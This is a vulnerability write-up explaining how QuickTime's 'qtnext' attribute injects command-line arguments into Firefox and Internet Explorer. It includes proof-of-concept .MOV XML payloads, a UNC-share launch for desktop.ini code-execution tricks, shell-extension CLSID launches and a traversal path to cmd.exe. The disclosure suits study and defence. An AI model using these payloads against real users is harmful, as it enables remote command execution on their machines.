Last Wednesday, pdp published a 0day exploit for the Quicktime plugin in Firefox that allowed you to instantiate a separate Firefox instance with arbitrary command line arguments. Since Firefox has published a remedy for this in the form of Firefox I thought I would detail how you can accomplish the same with Internet Explorer on a default Windows installation, namely instantiating a separate IE instance with arbitrary command line arguments.

The simplest proof of concept for this vulnerability comes in the form of a .MOV file which contains the following XML:

<?xml version=”1.0″>
<?quicktime type=”application/x-quicktime-media-link”?>
<embed src=”” autoplay=”true” qtnext=”-chrome javascript:alert(‘whats up…’)”/>

When Firefox encounters a .MOV file that does not have a Content-Disposition header specified it will open an embedded instance of the QuickTime plugin and hand it the file. QuickTime will recognize that the file does not contain binary audio or video, so it will parse the content through its Quicktime XML Importers.

As you might have guessed from the XML, QuickTime will attempt to play first and then move on to the next media file in the sequence. Since it doesn’t immediately recognize the qtnext content as being a media file it will attempt to open the data through whichever application is registered to handle HTML – and this is where the vulnerability lies. Most applications will launch an external URL protocol handler by finding its registered application and inserting the request URI into the designated placeholders, which means that if Firefox is registered as the default browser you would ordinarily find the following

HKCR\.htm\@ = FirefoxHTML
HKCR\FirefoxHTML\shell\open\command\@ = FIREFOX.EXE -requestPending -osint -url “%1″

The security fixes in Firefox, namely MFSA 2007-23, would prevent external applications from abusing Firefox as an attack vector, but only under the presumption that the %1 placeholder is replaced with the request URI. Instead, QuickTime enumerates the entire HKCR tree until it finds the .htm handler, then strips away everything except the executable path and manually tacks on the request URI. This means that the -requestPending and -osint flags are never passed as arguments to Firefox, which means that the -chrome argument can be abused again and the above XML executes the following.

firefox.exe -chrome javascript:alert(‘whats up…’)

Mozilla implemented a workaround for this behavior in Firefox, in that they no longer allow javascript: and data: requests in combination with the -chrome argument. In addition, the -install-global-extension and -install-global-theme arguments will now only accept a normalized local file path, so you can no longer install extensions or themes from HTTP or UNC paths.

This means that Firefox can no longer be abused as an attack vector for this QuickTime vulnerability, so let’s examine how we can accomplish the same in Internet Explorer. The QuickTime plugin might be packaged differently for either browser, but the underlying code is the same; However, there is a small twist in how QuickTime forcibly calls Internet Explorer through the qtnext attribute.

When qtnext does not contain a : (colon) character QuickTime will assume that it is a HTTP request and prepend the string ‘http://’ in front of the request URI. In order for us to inject arbitrary command line arguments for IE we must specify a request URI in the qtnext attribute that contains a colon.

Before we do that, let’s take a look at some of the more interesting command line arguments that iexplore.exe accept:

Kiosk Mode
No Add-ons Mode
Application started via OLE Automation, causes IE to start with no chrome or any other UI.
Skip display of home page (best used with URI argument)
Load home page from cache
Explorer mode with split pane view

There are several other command line arguments, such as -channelband to open a desktop toolbar, but for now we will take a look at the -e argument which allows us to instantiate Internet Explorer almost as if we were calling explorer.exe :)

The most immediate thought that springs to mind here is opening a UNC share, which we can accomplish with the following XML

<embed src=”” autoplay=”true” qtnext=”-e file:////servername/sharename”/>

Since we need to have a colon character in the request URI I am using the quadruple slash version of the file protocol instead of the typical ‘\\servername\sharename’ construct. The above will launch ‘iexplore.exe -e file:////servername/sharename’ which means that we can now use all of the old ‘desktop.ini’ command execution tricks that Roozbeh Afrasiabi reported back in 2004 (see SA 11633).

We can’t always rely on communicating with UNC shares, as a lot of networks will disallow SMB traffic across gateways. However, those old desktop.ini tricks relied on COM instantiation, so instead of having to bounce through a UNC share we can simply instantiate our Shell Name Space Extension COM objects directly.

<?xml version=”1.0″>
<?quicktime type=”application/x-quicktime-media-link”?>
<embed src=”a.mp3″ autoplay=”true” qtnext=”-e ::{3E9BAF2D-7A79-11d2-9334-0000F875AE17}”/>

The above will launch Microsoft NetMeeting through its registered Shell Extension. You might not remember Shell Extensions, so here are some dated articles that explain the concept nicely.

In short, this means that we can launch iexplore.exe with arbitrary command line arguments. Here are some examples that will launch NetMetting, open the Control Panel and display C:\Windows\System32 in an Explorer tree view.

-e ::{3E9BAF2D-7A79-11d2-9334-0000F875AE17}

-e ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\C:\Windows\System32\

-e ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}

So is that it? For now it is, I honestly can’t remember how to specify arguments to shell name space extension COM objects. I do know that if you can circumvent the check for a : character then you can execute arbitrary commands by launching the following

iexplore.exe -e ..\..\..\..\windows\system32\cmd.exe

I am eager to hear back from any of you if you have some experience with shell name space extensions, or know how to execute arbitrary commands through a malformed desktop.ini file :)